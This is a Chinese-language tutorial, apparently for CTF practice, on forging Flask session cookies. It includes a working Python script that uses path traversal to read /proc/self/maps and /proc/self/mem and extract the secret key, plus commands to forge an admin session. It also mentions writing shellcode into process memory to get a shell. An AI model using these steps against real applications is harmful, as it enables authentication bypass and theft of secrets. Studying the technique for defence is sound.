PyhonSession伪造

0x01 Session说明

在python的Flask中Session是塞在Cookie里返回给客户端的,如果我们恶意生成一个session对身份伪造就可以达到欺骗服务器的目的

0x02 环境搭建

# coding: utf-8
from flask import Flask,session

app = Flask(__name__)
app.secret_key = "aaabbbccc"

@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "Hehansen":
            return "欢迎Hehansen"
        if name == "admin":
            return "欢迎admin"
        else:
            return "你是谁"
    else:
        session['name']="Hehansen"
        return "session重新设置"

if __name__ == '__main__':
    app.run(debug=False)

Session的值是json格式的Base64编码(eyJuYW1lIjoiYWRtaW4ifQ.ZQLhcg.ItJwvsUVS9fmbh5gm_XcAsTj220)

session安全问题:

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数 据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.secret_key = “aaabbbccc”

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。

0x03 密钥寻找

  1. app.py文件
  2. config.py文件
  3. 有关文件读取的代码: linux 提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/ 本进程 pid/,/proc/self/environ是此文件包含设置的初始环境,换句话说就是该进程的环境变量
  4. 可以利用python存储对象的位置在堆上这个特性,app是实例化的Flask对象,而secret key在app.config[‘SECRET_KEY’],所以可以通过读 取/proc/self/mem来读取secret key

堆栈分析:

  • 读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

  • /proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。网上一些介绍说该文件不可读,乍一看确实是这 样?

  • 正确的姿势是结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取 内存内容。

  • 同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步 时执行shellcode来拿shell。

读取堆栈分布:

通过app.py文件我们已知密钥的形式,存储的对象在app.config上,所以可以通过/proc/self/mem读取:

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

由于/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,所以先读取/proc/self/maps获取堆栈分布

map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
	map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
	if map_addr:
		start = int(map_addr.group(1), 16)
		end = int(map_addr.group(2), 16)
		print("Found rw addr:", start, "-", end)

读取对应位置内存数据:

然后读取/proc/self/mem,读取对应位置的内存数据,再使用正则表达式查找内容

res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
if "*abcdefgh" in res.text:
	secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
	if secret_key:
		print("Secret Key:", secret_key[0])

合并读取密钥:

import requests
import re
url='http://127.0.0.1:5000/'
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
	# 匹配指定格式的地址
	map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
	if map_addr:
		start = int(map_addr.group(1), 16)
		end = int(map_addr.group(2), 16)
		print("Found rw addr:", start, "-", end)

		# 设置起始和结束位置并读取/proc/self/mem
		res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
		# 如果发现*abcdefgh存在其中,说明成功泄露secretkey
		if "*abcdefgh" in res.text:
			# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
			secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
			if secret_key:
				print("Secret Key:", secret_key[0])
				s_key = secret_key[0]
				break

伪造脚本使用:

脚本链接:https://gitcode.net/mirrors/noraj/flask-session-cookie-manager?utm_source=csdn_github_accelerator

解密:python flask_session_manager.py decode -c -s
#-c是flask cookie里的session值 -s参数是SECRET_KEY
python3 flask_session_cookie_manager3.py decode -s "aaabbbccc" -c "eyJuYW1lIjoiSGVoYW5zZW4ifQ.ZQK9lA.YiwR4DWCuUuWanDhXul2O8l83I4"
#{'name': 'Hehansen'}

加密:python flask_session_manager.py encode -s -t
#-s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
python3 flask_session_cookie_manager3.py encode -s "aaabbbccc" -t "{'name': 'admin'}"
#eyJuYW1lIjoiYWRtaW4ifQ.ZQLhcg.ItJwvsUVS9fmbh5gm_XcAsTj220

如果运行脚本时候出现

ImportError: cannot import name 'Markup' from 'jinja2' (G:\Anaconda\lib\site-packages\jinja2__init__.py)

  1. pip uninstall Flask Jinja2
  2. pip install Flask Jinja2